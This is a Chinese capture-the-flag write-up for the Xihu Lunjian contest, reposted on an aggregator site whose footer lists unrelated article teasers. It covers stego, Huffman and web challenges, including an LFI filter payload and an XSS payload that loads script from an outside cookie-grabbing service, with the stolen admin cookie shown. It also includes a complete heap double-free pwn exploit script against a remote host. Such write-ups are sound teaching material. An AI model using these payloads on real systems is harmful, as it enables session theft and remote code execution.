西湖论剑WP

先水几句,这次的题确实难啊,动用洪荒之力了,第一名的神仙也没有全部做完。

官方说这次的题目有两道没被做出来,我猜应该是PWN和RE吧


本来我们是45名的,最后5分钟那帮人啊,硬生生给我们挤出前50,我都想砸电脑了,

后来官方又说前65名成功获得参赛资格,我去!又活了,但是无奈前50只刷掉几个队伍,

还是很遗憾没有进线下赛,本菜鸡尽力了,唉,下面进入正题

 

 

 

 

 

 

 

 

 

 

 

 

一、奇怪的TTL字段

TTL了解一下:TTL是 Time To Live的缩写,该字段指定IP包被路由器丢弃之前允许通过的最大网段数量。TTL是IPv4包头的一个8 bit字段。TTL的作用是限制IP数据包在计算机网络中的存在的时间。TTL的最大值是255,TTL的一个推荐值是64。

打开文本,发现TTL值一直是在127、191、63、255这四个值中选,

Hint:提取TTL值

将这四个值转换为二进制之后,发现后六位都是1

 

转换为八位二进制,提取前两位,然后转hex发现有了jpeg的头,于是将hex值写入文件

 

提取出来的img是一个残缺的二维码

           放到stegosolver 看图层

 

画图拼接

 

 

根据字面意思得知flag是自动密钥密码

在线破解:https://www.wishingstarmoye.com/ctf/autokey

 

 

 

二、哈夫曼之谜

这题我是手工构建哈夫曼树解出的编码,

不会写哈夫曼算法的程序,后来在网上找的

#include <stdio.h>
#include <stdlib.h>
#include <string.h>typedef int ELEMTYPE;// 哈夫曼树结点结构体
typedef struct HuffmanTree
{ELEMTYPE weight;ELEMTYPE id;        // id用来主要用以区分权值相同的结点,这里代表了下标struct HuffmanTree* lchild;struct HuffmanTree* rchild;
}HuffmanNode;// 构建哈夫曼树
HuffmanNode* createHuffmanTree(int* a, int n)
{int i, j;HuffmanNode **temp, *hufmTree;temp = malloc(n*sizeof(HuffmanNode));for (i = 0; i<n; ++i)     // 将数组a中的权值赋给结点中的weight
    {temp[i] = (HuffmanNode*)malloc(sizeof(HuffmanNode));temp[i]->weight = a[i];temp[i]->id = i;temp[i]->lchild = temp[i]->rchild = NULL;}for (i = 0; i<n - 1; ++i)       // 构建哈夫曼树需要n-1合并
    {int small1 = -1, small2;      // small1、small2分别作为最小和次小权值的下标for (j = 0; j<n; ++j)         // 先将最小的两个下标赋给small1、small2(注意:对应权值未必最小)
        {if (temp[j] != NULL && small1 == -1){small1 = j;continue;}else if (temp[j] != NULL){small2 = j;break;}}for (j = small2; j<n; ++j)    // 比较权值,挪动small1和small2使之分别成为最小和次小权值的下标
        {if (temp[j] != NULL){if (temp[j]->weight < temp[small1]->weight){small2 = small1;small1 = j;}else if (temp[j]->weight < temp[small2]->weight){small2 = j;}}}hufmTree = (HuffmanNode*)malloc(sizeof(HuffmanNode));hufmTree->weight = temp[small1]->weight + temp[small2]->weight;hufmTree->lchild = temp[small1];hufmTree->rchild = temp[small2];temp[small1] = hufmTree;temp[small2] = NULL;}free(temp);return hufmTree;
}// 以广义表的形式打印哈夫曼树
void PrintHuffmanTree(HuffmanNode* hufmTree)
{if (hufmTree){printf("%d", hufmTree->weight);if (hufmTree->lchild != NULL || hufmTree->rchild != NULL){printf("(");PrintHuffmanTree(hufmTree->lchild);printf(",");PrintHuffmanTree(hufmTree->rchild);printf(")");}}
}// 递归进行哈夫曼编码
void HuffmanCode(HuffmanNode* hufmTree, int depth)      // depth是哈夫曼树的深度
{static int code[100];if (hufmTree){if (hufmTree->lchild == NULL && hufmTree->rchild == NULL){printf("id为%d权值为%d的叶子结点的哈夫曼编码为 ", hufmTree->id, hufmTree->weight);int i;for (i = 0; i<depth; ++i){printf("%d", code[i]);}printf("\n");}else{code[depth] = 0;HuffmanCode(hufmTree->lchild, depth + 1);code[depth] = 1;HuffmanCode(hufmTree->rchild, depth + 1);}}
}// 哈夫曼解码
void HuffmanDecode(char ch[], HuffmanNode* hufmTree, char string[])     // ch是要解码的01串,string是结点对应的字符
{int i;int num[500];HuffmanNode* tempTree = NULL;for (i = 0; i<strlen(ch); ++i){if (ch[i] == '0')num[i] = 0;elsenum[i] = 1;}if (hufmTree){i = 0;      // 计数已解码01串的长度while (i<strlen(ch)){tempTree = hufmTree;while (tempTree->lchild != NULL && tempTree->rchild != NULL){if (num[i] == 0){tempTree = tempTree->lchild;}else{tempTree = tempTree->rchild;}++i;}printf("%c", string[tempTree->id]);     // 输出解码后对应结点的字符
        }}
}int main()
{int i, n;printf("请输入叶子结点的个数:\n");while (1){scanf("%d", &n);if (n>1)break;elseprintf("输入错误,请重新输入n值!");}int* arr;arr = (int*)malloc(n*sizeof(ELEMTYPE));printf("请输入%d个叶子结点的权值:\n", n);for (i = 0; i<n; ++i){scanf("%d", &arr[i]);}char ch[500], string[500];printf("请连续输入这%d个叶子结点各自所代表的字符:\n", n);fflush(stdin);      // 强行清除缓存中的数据,也就是上面输入权值结束时的回车符gets(string);HuffmanNode* hufmTree = NULL;hufmTree = createHuffmanTree(arr, n);printf("此哈夫曼树的广义表形式为:\n");PrintHuffmanTree(hufmTree);printf("\n各叶子结点的哈夫曼编码为:\n");HuffmanCode(hufmTree, 0);printf("要解码吗?请输入编码:\n");gets(ch);printf("解码结果为:\n");HuffmanDecode(ch, hufmTree, string);printf("\n");free(arr);free(hufmTree);return 0;
}

 

 

编译后,上面是哈夫曼编码,下面是结点对应的权重值

上面的c程序是在网上找的,跑出字母对应的编码

            a:4       000

            g:1      00100

            l:1        00101

            {:1       00110

            }:1       00111

            d:9      01

            5:9      10

            f:5       110

            0:7      111

f}alg55fd5f50f0ddd0d00adafdd5505d50a5{

fla}g55fd5f50f0ddd0d00adafdd5505d50a5{

flag}55fd5f50f0ddd0d00adafdd5505d50a5{

flag{55fd5f50f0ddd0d00adafdd5505d50a5}

 

 

因为很多节点的权值相同,所以出来的格式有问题,不断转换相同权值的节点就可以得到flag格式:

flag{55fd5f50f0ddd0d00adafdd5505d50a5}

 小伙伴们为什么会提交失败呢,因为你们只注意到有四个权值是1的节点,没发现5和d的权值都是9,

将上面的字符串5和d互相转换就行啦

 

三、猜猜flag是什么

1.进入页面,提示要先拿到兑换码

 

 

2.扫描

git clone https://github.com/lijiejie/ds_store_exp.git
python ds_store_exp.py http://61.164.47.198:10002/.DS_Store
[+]  http://61.164.47.198:10002/yingyingying/.DS_Store
[+] http://61.164.47.198:10002/index.php/.DS_Store
[+] http://61.164.47.198:10002/e10adc3949ba59abbe56e057f20f883e
[+] http://61.164.47.198:10002/flag
[+] http://61.164.47.198:10002/yingyingying/index.html

,发现根目录下有.DS_Store泄露:http://61.164.47.198:10002/.DS_Store,

也可以XSS弹出hint,payload:http://61.164.47.198:10002/?name=%253Cscript%253Ealert%25281%2529%253C/script%253E

访问http://ctf1.linkedbyx.com:10442/e10adc3949ba59abbe56e057f20f883e/后,然后发现页面确实啥也没有,尝试图片是否隐写了信息后无果

 

会不会是是个.git泄露,githack,找到压缩包BackupForMySite.zip,

 

发现有密码,利用明文攻击,(有时候解不出是因为压缩软件的算法不同,这里我用bandzip,也可以通过Linux的zip命令打包

zip -r xxx.zip ./*

解压zip文件到当前目录

unzip filename.zip

 

得到内容:

 

 

 

php_mt_seed提交随机数:$ time ./php_mt_seed  你的随机数得到数字,然后访问/flag/得到的数字.txt之后拿到flag

 

 

这是作者给的readme

 

 

四、babyt3

从网页看出应该是文件包含漏洞include[file],

扫描:

 

得到一个dir.php

访问:

http://ctf2.linkedbyx.com:10740/?file=php://filter/read=convert.base64-encode/resource=dir.php

得到一个base64:

PD9waHAKJGEgPSBAJF9HRVRbJ2RpciddOwppZighJGEpewokYSA9ICcvdG1wJzsKfQp2Y XJfZHVtcChzY2FuZGlyKCRhKSk7Cg==

解密得:

<?php

$a = @$_GET['dir'];

if(!$a){

$a = '/tmp';

}

var_dump(scandir($a));

构造payload:

http://ctf2.linkedbyx.com:10740/?file=../../../ffffflag_1s_Her4

得到base加密的flag,解密提交

五、Breakout

进去看到留言板,联想到XSS攻击

 

留言板触发XSS

<img src=x οnerrοr=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPSdodHRwczovL3hzc3B0LmNvbS9iUTUwS1Y/JytNYXRoLnJhbmRvbSgp'))>

 

写脚本过验证码,nc远程服务器,打到管理员cookie:

PHPSESSID=rctb5bdpjja3t48ekjjtu8knu3;%20token=ISMvKXpXpadDiUoOSoAfww==;%20admin=admin_!@@!_admin_admin_hhhhh HTTP/1.1

 

服务器端Getshell,最后反弹shell成功后,flag在根目录下

六、最短路径题

BFS算法,手算的话,一共92个元素,一个一个找最后拼到一起也能做出来

七、story

有点像网鼎杯改编的题目;

1,

单看保护还好

2,应该是double free/Unlink漏洞:需要建立至少三个堆,通过修改第二个chunk的内容在第二个chunk中伪造了一个空闲chunk开始为伪造chunk的内容。如过此时想要free chunk3那么要进入unlink则需要使unlink函数认为伪chunk是空闲的并绕过检查。所以首先通过溢出将第三个chunk的prev_size字段修改为0x30并将size字段的P字段修改为0即0x90那么此时就可以绕过。

3,然后用修改data,获取权限;

4,最后上脚本。

#!/usr/bin/env python# coding=utf-8from pwn import *debug = 0local = 0context.terminal=["tmux","splitw","-h"]if local:a=process("./noinfoleak")libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")else:a=remote("ctf1.linkedbyx.com","10346")libc=ELF("./libc.so.6")if debug:gdb.attach(a,'''
b *0x4009DC          ''')
# b *0x400A1Eelf=ELF("./noinfoleak")def menu(index):a.recvuntil(">")a.sendline(str(index))def create(size,content):menu(1)a.recvuntil(">")a.sendline(str(size))a.recvuntil(">")a.send(content)def delete(index):menu(2)a.recvuntil(">")a.sendline(str(index))def edit(index,content):menu(3)a.recvuntil(">")a.sendline(str(index))a.recvuntil(">")a.send(content)#double free#size addr = 0x601002 a.recv()a.sendline("5")#puts 延迟绑定create(0x50,"aaa")#index 0create(0x40,"aa")#index 1create(0x40,"asaa")#index 2delete(1)delete(2)delete(1)create(0x40,p64(0x6010A0))#index 3create(0x40,"a")#index 4create(0x40,"a")#index 5read_got=0x000000000601048payload=read_gotcreate(0x40,p64(payload))#index 6   ,0x6010b0:       0x0000000000601058      0x0000000000000040# index 1 , ptr = malloc gotcreate(0x50,"aaaaaaaa")#index 7create(0x50,"bbbbbbbb")#index 8delete(7)delete(8)delete(7)fake_chunk_addr=0x601002-0x8create(0x50,p64(fake_chunk_addr))#index 9create(0x50,"aaa")#index 10create(0x50,"aaa")#index 11puts_plt=elf.plt["puts"]#00 00 00 00 00#0x601002-0x8+0x10payload='\x00'*14+p64(puts_plt)create(0x50,payload)  #index 12delete(1)#double free ,修改data段。read_addr=u64(a.recvuntil("\n",drop=True).ljust(8,"\x00"))success("read address ==> 0x%x"%read_addr)libc_base=read_addr -libc.symbols["read"]one_gadget=libc_base+0xf1147edit(1,p64(one_gadget))a.recv()a.sendline("30")a.interactive()

 

8、easycpp

静态分析后,发现要输入16个数。放入IDA,输入1-16测试关键跳转

 

定位到rsi和rdi,发现rsi是斐波那契数列

 

再看rdi,找到与输入的字符串的规律

 

脚本跑flag(11不变,后面的值递归加上11,逆置,与斐波那契数列对比)

9、Testre

扔到IDA,看字符串,好像是base64

 

但是2345678ABCD。。。长度是58,考虑一下base58

 

字符串比较结合动态调试

得到一个base58,

解密

 

 

 

 

 

 

 

 

什么都没有了,还看,快去点关注

 

 

 

 

 

转载于:https://www.cnblogs.com/WhiteHatKevil/p/10688961.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/279716.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

vm macos 启用3d_如何在macOS中启用夜班以减轻眼睛疲劳

vm macos 启用3dNight Shift is a new feature introduced in macOS Sierra 10.12.4, and you might already be familiar with it if you’re an iOS user. Here’s how to enable it and set it up on your Mac. Night Shift是macOS Sierra 10.12.4中引入的新功能&#xff0c…

如何在Windows 7、8、10,Vista或XP中删除Windows服务

If you are a fan of tweaking your system and disabling services, you might find that over time your Windows Services list becomes large and unwieldy. It’s easy enough to delete a Windows service using the Command Prompt. 如果您喜欢调整系统并禁用服务&#…

缩点(有向图的强连通分量)学习笔记

缩点(有向图的强连通分量)学习笔记 1.什么是强连通分量&#xff1f;&#xff1a; 有向图强连通分量:在有向图G中&#xff0c;如果两个顶点vi,vj间(vi>vj)有一条从vi到vj的有向路径&#xff0c;同时还有一条从vj到vi的有向路径&#xff0c;则称两个顶点强连通(strongly conne…

mysql多表联合删除

文件一&#xff1a;01.txt文件二&#xff1a;02.txt登录mysql选择数据库表user结构表user_depart结构导入数据到表user导入数据到表user_depart联合删除查看删除后user表的数据查看删除后user_depart表的数据本文转自 Lee_吉 51CTO博客&#xff0c;原文链接:http://blog.51cto.…

centos 初学者_初学者:如何在Outlook 2013中创建和管理任务

centos 初学者If you’re one of those people who has a whiteboard or notepad with an ever-evolving to-do list, or your desk and monitors are adorned with Post-its reminding you of important events, then this the article for you. 如果您是拥有不断发展的待办事…

新服务器安装和配置zabbix的playbook

公司的金山区云服务器是由我负责的&#xff0c;每一次新购买了金山区的服务器都要把这些新服务器添加到zabbix监控里&#xff0c;于是我就编写了一个ansible的playbook&#xff0c;这样以后就可以在执行playbook的时候“带薪拉屎”了。 ansible主机准备&#xff1a; 1&#xff…

15个变态的Google面试题以及答案

在当前经济形势不景气的情况下&#xff0c;谷歌招聘新员工是一件令人振奋的事&#xff0c;特别是对那些在当前金融风暴中渴望找到安全港的年轻经理们和软件开发商们来说是个好消息。   不过&#xff0c;也不要高兴太早&#xff0c;谷歌在招聘新员工时&#xff0c;更加青睐名牌…

小程序禁用ios 左右滑动_如何在使用应用程序时禁用iOS控制中心

小程序禁用ios 左右滑动The Control Center has proven to be a thoughtful and welcome addition to iOS, but it can be annoying sometimes if you’re playing a game or using an app, and you accidentally open it. Here’s how you can disable it in such situations.…

repomd.xml错误14 not found

用Centos7最小化安装了系统&#xff0c;想练练手&#xff0c;可以到换了“搜狐”的YUM源&#xff0c;系统总报错更新错误说找不到repomd.xml。 然后就一直搜解决问题&#xff0c;能用到的都用到了&#xff0c;网上提到的都用到了。浪费了好几个小时没解决。正当无语的时候&…

超链接禁用_如何在Microsoft Word中禁用超链接

超链接禁用When you type a web or email address in Word, you may notice that the program automatically formats it as a live hyperlink. This is a setting in Word’s AutoFormat feature that is on by default but can be easily turned off. 当您在Word中键入网站或…

ssh面试题总结

题目1&#xff1a;Hibernate工作原理及为什么要用&#xff1f; 原理&#xff1a; hibernate&#xff0c;通过对jdbc进行封装&#xff0c;对 java类和 关系数据库进行mapping&#xff0c;实现了对关系数据库的面向对象方式的操作&#xff0c;改变了传统的jdbc sql操作数据的方式…

xbox可以录视频声音吗_什么是Xbox Live Gold,它值得吗?

xbox可以录视频声音吗If you have an Xbox One or Xbox 360, Microsoft’s Xbox Live Gold service is required to play multiplayer games online. A subscription costs $10 per month or $60 per year. Xbox Live Gold also includes additional benefits, like free games…

显示器选三星还是飞利浦_如何为飞利浦色相灯设置计时器

显示器选三星还是飞利浦Maybe you want to turn off your Philips Hue lights after a certain amount of time has passed, or have them blink as a reminder. Whatever your needs, here’s how to set a timer for your Philips Hue lights to have them automatically tur…

PIE SDK与OpenCV结合说明文档

1.功能简介 OpenCV是基于BSD许可&#xff08;开源&#xff09;发行的跨平台计算机视觉库&#xff0c;可以运行在Linux、Windows、Android和Mac OS操作系统上。它轻量级而且高效——由一系列 C 函数和少量 C 类构成&#xff0c;同时提供了Python、Ruby、MATLAB等语言的接口&…

js的栈堆与浅拷贝、深拷贝的理解

一&#xff1a;什么是堆栈&#xff1f; 我们都知道&#xff1a;在计算机领域中&#xff0c;堆栈是两种数据结构&#xff0c;它们只能在一端(称为栈顶(top))对数据项进行插入和删除。 堆&#xff1a;队列优先,先进先出&#xff1b;由操作系统自动分配释放 &#xff0c;存放函数的…

ea 备份码是什么_EA的原始访问是什么,值得吗?

ea 备份码是什么EA’s Origin Access gives you access to more than 70 games, discounts, and new EA games before they’re released for a monthly (or yearly) subscription fee. But is it really worth it? EA的Origin Access可让您访问70多种游戏&#xff0c;打折游戏…

JS框架_(JQuery.js)纯css3进度条动画

百度云盘  传送门  密码&#xff1a;wirc 进度条动画效果&#xff1a; <!DOCTYPE html> <html lang"zh"> <head><meta charset"UTF-8"><meta http-equiv"X-UA-Compatible" content"IEedge,chrome1">…

如何在Android主屏幕上添加热点快捷方式

Portable Wi-Fi hotspots on your Android phone are great, because hotel Wi-Fi usually isn’t, but toggling that hotspot on and off is a pain. Here are several easy ways to add a hotspot widget to your home screen. 您的Android手机上的便携式Wi-Fi热点很棒&…

SQLI DUMB SERIES-16

&#xff08;1&#xff09;无论怎么输入&#xff0c;都没有回显&#xff0c;但当输入 admin")#时&#xff0c;显示登录成功。若通过其他方法获取数据库的用户名&#xff0c;可通过这个方法登录成功。 &#xff08;2&#xff09;获取其他信息可用考虑时间延迟注入。方法同1…

如何在YouTube视频上禁用注释

YouTube has that betcha-can’t-watch-just-one appeal to it, which is why YouTube’s annoyances become so pronounced the more you use it. Many of these features, such as annotations can be permanently disabled, making for a more enjoyable viewing experience…